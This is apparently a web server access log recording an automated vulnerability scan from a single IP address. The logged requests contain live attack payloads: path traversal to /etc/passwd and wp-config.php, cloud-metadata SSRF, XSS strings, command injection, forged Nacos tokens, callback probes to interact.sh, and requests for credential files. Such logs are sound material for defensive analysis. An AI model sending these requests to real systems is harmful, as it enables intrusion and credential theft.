[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error_log HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/release.yml HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /API/External/GetPrivacy HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /recent_scans/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/upgrade.txt HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/ HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mod/lti/auth.php?redirect_uri=javascript:alert('380CyC04bFSVfQWB5fWgnFsBceC') HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/metadata/instance?api-version=2021-02-01 HTTP/1.1" 226
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?Protocol=ActiveSync&Email=user@domain.tld&RedirectCount=1 HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/CoreHome/images/favicon.png HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWebAdmin HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkmanager HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/logon.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?Protocol=ActiveSync&Email=oWHRVT%40oast.pro&RedirectCount=1 HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EWS/Exchange.asmx HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-common/cgi-bin/login HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mt/admin HTTP/1.1" 196
[09/Jan/2026:10:52:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.msmtprc HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/opc/v1/instance HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Default.aspx?pid=Login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard.htm HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //kurd1943.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=.....///http/.....///config/config_db.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nbproject/project.properties HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/auth/users/?username=380Cy6OAJP6Dqe4GEPZbn5TiB9I&password=380Cy3RddLoyVoojFk4Jg3pLnE7&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms6.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/web_vhost_domain_list.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explore HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/tmindex.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/side.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/start/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/install.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/console/server/state?accessToken&username HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/start.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/authportal/bounce.php?url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/auth/users/login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /browser/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/reporter/view_server_log.php?server=localhost&act=stats&filename&offset=1&offset&count=1000&sortorder&log=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sortitem&filter HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.netrc HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.local HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mt.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/matrix/client HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/user/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/info HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /netcore_get.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graph HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..///////..////..//////windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.htm HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rootDesc.xml HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/publish.yml HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/service.svc HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.cgi?username=admin&password=admin HTTP/1.1" 199
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.//WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WAN_wan.htm?.gif HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error_log.txt HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/manage/cmd.php?cmd=id HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/sl_webviewer?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CgiStart?page=Single HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/search HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mrtg/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/userimage.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nps/servlet/portalservice HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /debug.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugin/customMethod HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/signin?ReturnUrl=%2f HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/admin/config HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVendor HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws4/jexws4.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/?next=/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /human.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.cgi?next_file=debug.htm&x=currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkmanager-auth HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/music-store/ms-core/ms-submit.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/image?url=/\\/\\interact.sh/&q=100&w=128&h=128 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sftp.ini HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/rest/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //evil.html HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http\\\\..\\\\..\\\\config\\\\config_db.php HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx.conf HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios/cgi-bin/status.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms7.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nginx_status HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env.prod.js HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///////../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /neos/login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagios3 HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_404_%3E%3Cscript%3Ealert(1337)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/console/server/state?accessToken&username HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access/config HTTP/1.1" 196
[09/Jan/2026:10:52:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
